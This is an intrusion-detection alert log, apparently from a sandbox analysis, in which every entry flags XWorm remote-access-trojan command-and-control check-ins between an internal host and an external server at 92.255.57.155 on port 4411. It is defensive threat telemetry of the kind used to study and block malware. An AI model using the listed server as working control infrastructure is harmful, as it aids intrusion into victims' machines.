2024-12-18T08:16:42.629844+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:42.773737+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.817854+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:43.873445+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:44.064574+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:44.157275+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:44.571175+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:44.733309+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:46.591890+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:46.593476+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:47.498676+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:47.500355+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.112016+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.169267+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.303350+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.305446+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.360230+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.474790+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:48.493884+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.595877+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:49.669827+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:49.716014+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:49.860846+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.026813+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.051921+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.051995+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.325197+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.327274+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.521845+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:50.638151+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.761244+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:51.119723+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:51.121851+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:51.761498+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:51.944455+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.063076+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.445896+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.448689+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:52.504580+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.609713+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:52.624346+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.729516+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:52.759401+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:53.137497+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:53.137643+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:53.169297+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:53.835046+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:53.851286+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.049025+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.074535+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.265643+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.288794+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.360679+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.409288+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.480016+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.529084+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.670898+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.787278+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.787487+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:54.949423+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:56.216871+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:56.231810+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:56.408744+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:56.411401+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:56.645108+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:56.646506+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:58.870137+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.061121+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.065875+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.252049+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.325992+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.668999+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.669934+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:16:59.958951+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.959987+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:00.273669+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:00.274717+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:01.670112+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:01.861176+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:01.953980+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:02.390921+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:02.694848+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:02.745951+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:03.333935+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:03.336704+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:04.482711+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:04.485525+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:04.673767+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:04.677904+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:04.987325+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.038138+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:05.448644+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.739584+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.740809+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:05.907966+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.959867+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:06.051606+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:06.079475+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:06.242553+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:06.253886+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:07.181318+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:07.189082+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:07.799701+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:07.841124+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:07.993773+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:07.994625+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:08.184853+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:08.185709+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:08.306108+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:08.469260+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:10.232269+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.464187+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.466720+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:10.500987+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.777535+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.936876+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.089830+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.094026+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:11.376788+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.703615+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.739685+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:11.931130+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.989162+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:12.050423+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:12.108948+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:12.164175+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:12.527439+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:12.561707+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:13.043015+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:13.045901+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:13.998166+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.118072+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.157417+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.310149+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.423615+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.428853+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.614964+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.712226+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.734482+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.880010+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:14.903163+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:15.005981+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:15.022865+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:15.094349+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:15.095064+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:15.170188+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.248297+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.302013+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.480188+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.541494+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.612787+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.661126+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.671147+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.822011+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:16.909369+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.941621+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:17.638767+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:17.684865+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:17.875820+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:17.900676+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:17.950173+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.020432+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:18.108287+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.140650+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.240441+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
